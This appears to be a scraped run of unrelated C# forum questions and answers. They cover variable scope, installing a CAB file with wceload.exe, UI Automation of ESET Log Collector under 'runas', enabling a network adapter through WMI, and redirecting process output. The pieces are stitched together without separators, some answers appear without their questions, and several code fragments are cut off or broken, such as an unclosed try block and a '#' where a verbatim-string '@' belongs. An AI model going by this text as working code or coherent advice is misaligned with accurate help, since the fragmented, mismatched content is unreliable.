Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.

When i run this application i get an message that DeviceApplication.CAB installation was unsuccessfull .
I checked inside the windows directory and i found that wceload.exe is available.
I have placed the cab inside the directory where the present exe is running .
Any idea how to do this ??

Answering my own question ,
Its because of the path i gave in the process ,
ProcessStartInfo psi = new ProcessStartInfo(#"Windows\wceload.exe", "/nodelete \"Program Files\\DeviceApplication3\\DeviceApplication.CAB\"");
Process proc = Process.Start(psi);
I'm new to c#.
I'm looking for solution to this (app to check can be downloaded from http://download.eset.com/special/ESETLogCollector.exe

using System;

proc.UseShellExecute = true;
proc.WorkingDirectory = Environment.CurrentDirectory;
proc.FileName = "C:\\robot\\ESETLogCollector.exe";
proc.Verb = "runas";
Process.Start(proc);
System.Threading.Thread.Sleep(2000);
Console.WriteLine("Ahoj");
AutomationElement desktop = AutomationElement.RootElement;
Condition cond = new PropertyCondition(AutomationElement.NameProperty, "ESET Log Collector");
AutomationElement elc = desktop.FindFirst(TreeScope.Children, cond);
Console.WriteLine(elc.Current.Name);
String save_path = "";
Condition cond1 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1005");
try
{
AutomationElement save_as = elc.FindFirst(TreeScope.Subtree, cond1);
Console.WriteLine(save_as.Current.AutomationId);
save_path = save_as.Current.Name;

All I still got IF I Want to invoke buttonclick is:
Operation is not valid due to the current stat of the object
I really don't know what is happening here. Can anybody help me with this?
Ty
The operation is probably failing because you are not running your automation application as administrator while the ESET Log Collector has been run with elevated permissions.
The UI Automation Security Overview describes the security model and how to communicate with processes that are running at a higher privilege level (i.e. you need a signed application with a manifest file that includes a special attribute).
I've got a problem where I need to enable a card that has been disabled already and a searcher on WMI NetworkAdapter does not return the object.
I can think of a possible way to do this but I've been unable to get it to work, thats is to create a managementObject using this as the constructor name. but this just throws exceptions
{\\.\root\CIMV2:Win32_NetworkAdapter.NetConnectionID='Wireless Network Connection'}
The other way was to shell a netsh and enable the device, which is kind of ugly, or to use shell32/dll "Enable" to do the same, again, both passing just the name. Ive been getting the name from a registry scan on HKLM\SYSTEM\CurrentControlSet\Network and looking for MediaType=2 to get a string list of wireless devices. All is good if I run the application while the adapter is enabled as I can get the networkObject for the wireless device but it all falls over if the application starts while the wireless device is disabled.
Thanks
Edit : This is the code that I would love to work but no go :(
using System;
using System.Management;
class Sample
{
public static int Main(string[] args)
{
ManagementObject mObj = new ManagementObject("\\\\.\\root\\CIMV2:Win32_NetworkAdapter.NetConnectionID=\"Wireless Network Connection\"");
mObj.InvokeMethod("Enable", null);
return 0;
}
}
This method essentially is using C# to leverage the WMI and Win32_NetworkAdapter Class. It should have methods built in for:
Enable
Disable
So you can execute your command on a Selected interface.
You can achieve that in this manner:
SelectQuery query = new SelectQuery("Win32_NetworkAdapter", "NetConnectionStatus=2");
ManagementObjectSearcher search = new ManagementObjectSearcher(query);
foreach(ManagementObject result in search.Get())
{
NetworkAdapter adapter = new NetworkAdapter(result);
// Identify the adapter you wish to disable here.
// In particular, check the AdapterType and
// Description properties.
// Here, we're selecting the LAN adapters.
if (adapter.AdapterType.Equals("Ethernet 802.3"))
{
adapter.Disable();
}
}
There is a blog that actually outlines such a task; it defines how to create a Wrapper around the WMI Class.
Another solution may be to also use the ControlService (advapi32).
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, SERVICE_CONTROL dwControl, ref SERVICE_STATUS lpServiceStatus);
Hopefully that one of those ways help..

It's a shot in the dark, but I think that you can't read the processes standard output once it has exited.
Also you have to redirect it - take a look at this documentation: http://msdn.microsoft.com/en-us/library/system.diagnostics.process.standardoutput.aspx
Duplicate of .NET Process Start Process Error using credentials (The handle is invalid) ? You need to assign RedirectStandardInput, RedirectStandardOutput, RedirectStandardError
